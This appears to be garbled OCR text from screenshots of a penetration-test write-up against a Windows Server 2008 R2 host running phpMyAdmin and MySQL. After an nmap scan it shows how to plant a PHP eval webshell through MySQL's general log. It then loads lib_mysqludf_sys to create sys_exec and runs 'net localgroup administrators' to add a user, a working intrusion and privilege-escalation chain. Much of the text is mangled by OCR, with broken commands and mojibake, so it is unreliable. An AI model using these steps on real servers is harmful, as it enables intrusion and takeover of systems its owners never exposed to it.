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Nmap scan report for 49.233.xx.xX
Host is up (0.18s latency).
Not shown: 990 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd
135/tcp  open msrpc Microsoft Windows F
139/tcp open nhetbios-ssn Microsoft Windows r
443/tcp open ssl/https Apache

445/tcp  open microsoft-ds Microsoft Windows ¢
3389/tcp open ssl/ms-wbt-server?

49152/tcp open msrpc Microsoft Windows F
49153/tcp open msrpc Microsoft Windows F
49154/tcp open msrpc Microsoft Windows f
49155/tcp open msrpc Microsoft Windows |

Service Info: 0Ss: Windows, Windows Server 2008 R2 - :
Service detection performed. Please report any incorre¢
Nmap done: 1 IP address (1 host up) scanned in 118.18
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$_SERVER['SERVER_NAME'] 49233,

$ SERVER['SERVER ADDR'] 1722109
$ SERVER['SERVER PORT'] 80

$ SERVER['REMOTE_ADDR'] -

$ SERVER['DOCUMENT ROOT'] y

$ SERVER['REQUEST SCHEME'] http.

EIEIHE AN webshell,

SET GLOBAL general_loz="on';

set GLOBAL general log_file='C:/wweroot/www. exanple. com/websoft_. php' ;
select ' <7php @eval ($_POST[emdl) 7> ;

SET GLOBAL general_log="on’ ;|
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300008 ¥1 O 3880 KIBETHE 20038 Cuery SHOW WARMINGS 3030-08- 117073840 AXMOL4T 26014 Query THOW SESUICH VARABLES LKE TOREIGH OFY CHECKD J000.08- 511803
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wmic /node:localhost /namespace:\\root\SecurityCenter:
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sglmap/extra/cloak/cloak.py, #<:
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289 SQL IEGEHIIETT.

show VARIABLES like ’%versionk’

+ PEIW

Variable name Value

innodb_version 5.7.22

protocol_version 10

slave_type _conversions

tls_version TLSv1,TLSv1.1

version 5.7.22

version_comment MySQL Community Server (GPL)
version_compile_machine x86 64

version_compile_os Wing4

SELECT @fbasedir
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+ i&ln
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Ch\websoft9\wampstack\mysqgl\
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create function sys_exec returns string soname "lib_my

i 49.233. 0/ phpmyadmin/server_sql.php 1

'n O ESEE localhost:3306
BEE L/ sQL L ¥S K = S & SA S ER | HR
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 MySQL EEBE RS M= (09T, (BHEES 013518, )

create function sys_exec returns string soname “1ib_mysqludf_sys. dl1”

SIBIERF,



& 49.233 ®/phpmyadmin/server_sql.php #E
vin CT 53 localhost:3306
MEE LsaL & REs e =S SE HeA JSoam | omw o«

R inliE

49.233. phpmyadmin/server_sql.php

CT =2 localhost:3306
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" IEZEEREE 0 - 047 (2 1 47, Hinlie%S 0.0180 &, )

select sys_exec(’ net localgroup administrator: ¢ fadd’ )

O sxes | T 25 |~ g |7

+ 10
 exec('net localgroup administrators 00 fadd’)
NULL
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G \wwwroot \www . example . com>

C:\wwwroot\www . example. com> cd C:

C:\Windows\ System32> I

¢z \Windows\ System32> xxx. tx

C:\Windows\ Systam32> wex. L

c:\Windows\ System32> wwx. tut
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